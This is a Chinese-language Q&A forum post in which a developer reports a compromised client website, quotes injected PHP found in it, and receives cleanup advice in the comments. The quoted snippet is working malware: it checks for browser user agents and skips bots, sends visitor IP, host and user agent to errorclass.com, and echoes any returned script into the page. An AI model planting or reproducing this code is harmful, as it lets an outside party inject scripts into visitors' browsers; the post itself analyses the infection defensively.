【发布时间】:2014-01-24 05:27:32
【问题描述】:
我们接到一位客户的电话,称他们的网站已损坏,只能部分加载。在浏览网站上的代码时,我发现了这个 sn-p:
<?php
#9da223#
error_reporting(0);
ini_set('display_errors',0);
$wp_nht097 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_nht097)
&& !preg_match ('/bot/i', $wp_nht097))) {
$wp_nht09097 =
"http://" . "error" . "class" . ".com/class" . "/?ip=".$_SERVER['REMOTE_ADDR']
."& referer=" . urlencode($_SERVER['HTTP_HOST'])
."&ua=" . urlencode($wp_nht097);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$wp_nht09097);
curl_setopt($ch, CURLOPT_TIMEOUT, 6);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_097nht = curl_exec ($ch);
curl_close($ch);
}
if ( substr($wp_097nht,1,3) === 'scr' ){
echo $wp_097nht;
}
#/9da223#
?>
由于上述代码中“curl_”函数之一的未定义函数,该站点停止工作。
据我所知,它会尝试从 errorclass.com 获取内容,传递域、用户 ip 和用户代理,作为响应,它会查找脚本标签,如果找到,它将打印响应到文档。
我试图查看请求的内容,但目前该站点似乎只返回一个完全空的文档。
域名追溯到中国,与该域名关联的 IP 地址去往荷兰。
有人见过类似的吗?
客户端在同一台服务器上托管各种其他站点,谢天谢地,它们似乎都没有受到损害。
编辑:
我对托管的网站进行了更深入的挖掘,发现其中一些网站遭到了入侵。原来的站点不是 Wordpress 站点,但另一个站点是。似乎某种形式的机器人进行了编辑,因为它们都是在上周二(1 月 21 日)下午 12:55 同一时间编辑的。
我们制作的所有网站在我们安装到客户选择的服务器上后,都会让客户完全控制。因此,为什么我们花了一些时间才意识到这个问题。
【问题讨论】:
-
将整个站点与您上次备份或存储库快照进行比较。如果有内容数据库,请恢复上一个已知的安全版本。使用安全扫描器或信誉良好的安全公司在您的站点上运行 SQL 注入和 XSS 测试。
-
您的 wordpress 实例是最新的吗?您必须始终跟上安全修复程序的更新。
-
并更改密码,确保使用 sftp 而不是 ftp。
-
简单的代码注入器。可能是为了链接。
-
如果您在此服务器上有多个站点,请使用不同的用户名运行它们 - 如果它们都是“www”或“apache”,那么成功破坏一个将危及它们,并使其更难弄清楚他们是如何进来的。
标签: javascript php